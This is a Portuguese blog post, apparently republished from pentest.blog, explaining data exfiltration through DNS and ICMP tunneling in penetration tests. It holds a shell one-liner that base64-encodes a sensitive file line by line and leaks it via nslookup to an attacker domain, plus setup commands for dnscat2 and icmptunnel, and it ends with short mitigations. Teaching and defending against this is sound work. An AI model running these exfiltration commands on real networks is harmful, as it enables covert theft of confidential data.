quinta-feira, 2 de agosto de 2018

DATA EXFILTRATION - PÓS EXPLORAÇÃO

E ae galera, nesse artigo estarei falando sobre pós exploração em pentest; vamos falar sobre Data Exfiltration (Tunneling).


A exfiltração de dados, também chamada de extrusão de dados, é a transferência não autorizada de dados de um computador. Esses tipos de ataques contra a rede corporativa podem ser manuais e executados por alguém com USB ou podem ser automatizados e executados em uma rede. Neste artigo, vamos nos concentrar em técnicas de extração de dados baseadas em rede durante o pentest.

Tunneling
Como adversário, presumimos que não temos credenciais de domínio válidas. O que significa que não podemos usar o proxy da empresa para alcançar o lado da rede. Se não estivermos alcançando a Internet, não poderemos exfiltrar informações confidenciais. Assim, o tunelamento desempenha um papel muito importante.

Tunneling é quando, em vez de enviar um pacote diretamente através da rede, você envia dentro de outra conexão (muitas vezes criptografada) por meio de encapsulamento. Como os dados reais são transmitidos pela rede por meio de um protocolo diferente, é possível acessar a Internet.

Dependendo do tipo de protocolo usado, os nomes de encapsulamento podem mudar. Nós cobriremos os mais populares.

DNS Tunneling
Eu gostaria de mostrar coisas muito básicas, mas importantes antes de pular diretamente para o tunelamento de DNS.


Primeira coisa, devemos identificar o servidor DNS interno. É fácil. Agora é hora de realizar vários testes. Precisamos responder as seguintes perguntas:
  • Somos capazes de nos comunicar com o DNS interno? 
  • Somos capazes de resolver o domínio interno através do DNS da empresa? 
  • podemos resolver o domínio externo (por exemplo, pentest.club) via DNS interno? 
  • Podemos nos comunicar diretamente com o DNS externo?
 
O primeiro comando mostra que podemos resolver o domínio interno, o segundo mostra que podemos resolver um domínio externo através do servidor DNS da empresa. Isso significa que podemos realizar tunelamento de DNS, mas eu gostaria de chamar a atenção para o terceiro comando. A maioria das redes seguras não permitirá a comunicação com o DNS externo. Se você tiver permissão para fazer isso, este é outro problema de segurança que você deve denunciar!
 
Como o DNS Tunneling funciona?
Embora os gráficos que preparamos especificamente para este artigo sejam muito descritivos, descreveremos cada etapa individualmente.
 
 
  1. Um atacante tem um domínio sob seu controle. Digamos que seja hacker.com. O atacante envia uma solicitação de DNS para o servidor DNS interno, a fim de resolver um hacker.com.
  2. O servidor DNS responsável para hacker.com está localizado em outro lugar na internet. Assim, ele redireciona a solicitação para o servidor raiz por meio do Firewall.
  3. Após um grande número de redirecionamentos, uma solicitação de DNS chega a um servidor DNS responsável de hacker.com, que está sob controle do atacante.
  4.  Como a solicitação é gerada por um atacante, não é importante saber qual é a resposta.
  5.  Como a solicitação é gerada por um adversário, não é importante saber qual é a resposta.
  6.  E finalmente, o adversário recebe uma resposta.
Isso nos mostra como se comunicar com um servidor localizado fora da rede da empresa. Até aí tudo bem, mas acabamos de encontrar uma maneira de se comunicar com um servidor externo. Nós não fizemos nada sobre a exfiltração de dados.
Digamos que tenhamos dados confidenciais como abaixo:
 
 
E nós queremos exfiltrar através de uma rede segura:
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
Acima o comando shell: lê um arquivo que contém informações confidenciais linha a linha. Em seguida, executa uma codificação base64 em cada linha. E, em seguida, use-o como um subdomínio durante a consulta de DNS. Quando a consulta chegar ao servidor DNS responsável de hacker.com, podemos rastrear os registros de DNS, analisá-los e decodificar subdomínios para descobrir os dados confidenciais correspondentes. Essa técnica funciona como um encanto, mas tem limitações a seguir:
  1. É uma comunicação unidirecional. Não podemos enviar um comando de volta do C2 (DNS autoritativo).
  2. Lendo um arquivo muito fácil. O que faremos quando estivermos lidando com dados de 100 MB? Pacotes DNS podem chegar a uma ordem diferente. 
Assim, precisamos de uma ferramenta que cubra todos os problemas. Por sorte, temos o dnscat2.
 
Como configurar e usar o Dnscat2
Dnscat2 fornece aplicativo cliente e servidor. Os comandos a seguir são necessários para criar um servidor DNS2:
git clone https://github.com/iagox86/dnscat2.git 
cd dnscat2/server/
gem install bundler
bundle install
 Para o cliente que está localizado na rede da empresa:
 git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
Agora é hora de iniciar um servidor Dnscat2.
 
 
opendns.online é um nome de domínio sob o controle do atacante. É muito importante ter um servidor DNS autoritativo para um opendns.online.

Dnscat gera uma chave secreta. Na chave será usado na forma "segredo compartilhado" para comunicação criptografada durante o tunelamento. Além disso, o dnscat oferece dois comandos diferentes para o cliente. Se você puder enviar uma consulta de DNS ao servidor externo, mas não se esqueça de que a maioria das redes seguras não permite que ninguém use serviços de DNS externos.

Execute o seguinte comando no site do cliente como abaixo:


Você verá uma mensagem "new window created" no servidor depois que a sessão for estabelecida.

Vamos ver os pacotes DNS capturados durante essa comunicação. A captura de tela a seguir mostra que 12.0.0.129 (client) envia uma solicitação de resolução do CNAME para o servidor DNS interno 12.0.0.2 (DNS interno).


O cliente DNSCAT2 envia uma solicitação de resolução de vários TXT para o servidor e, em seguida, inicia a comunicação criptografada por meio de CNAMEs. A partir desse ponto, um atacante pode fazer quase tudo através desse túnel.



ICMP Tunneling
O tunelamento ICMP funciona injetando dados arbitrários em um pacote de echo enviado para um computador remoto. O computador remoto responde da mesma maneira, injetando uma resposta em outro pacote ICMP e enviando-o de volta.

Basicamente, estamos enviando dados reais para dentro do ICMP. Nós só precisamos de uma coisa antes de fazer o tunelamento ICMP. Posso pingar um servidor externo?


Sim, nós podemos. Caso contrário, o tunelamento ICMP seria impossível de fazer. Graças a Dhaval Kapil, também temos uma ferramenta para tunelamento ICMP chamada icperunnel. A instalação disso é muito fácil:
git clone https://github.com/DhavalKapil/icmptunnel
make
./icmptunnel -s 10.0.1.1
No lado do cliente, descubra o seu gateway e a interface correspondente:
route -n
Edite client.sh e substitua <server> pelo endereço IP do servidor. <gateway> com endereço de gateway obtido acima e similarmente para <interface>

Execute o túnel no seu cliente:
./icmptunnel -c IPADDRESS
Mitigações
Não é fácil lidar com esse tipo de ataque de tunelamento, especialmente o DNS Tunneling. Mas as ações a seguir ajudarão você a detectar as ferramentas mais usadas, como dnscat2 etc.
  • Não permita que ninguém da sua rede envie solicitações de DNS ao servidor externo. Todos devem usar seu próprio servidor DNS.
  • Bloqueie o protocolo ICMP.
  • Rastreie os números de consulta do DNS pelos usuários. Gere uma notificação se houver alguém que atinja os limites.
Esse artigo foi retirado do site pentest.blog, link do artigo:
https://pentest.blog/data-exfiltration-tunneling-attacks-against-corporate-network/

Nenhum comentário:

Postar um comentário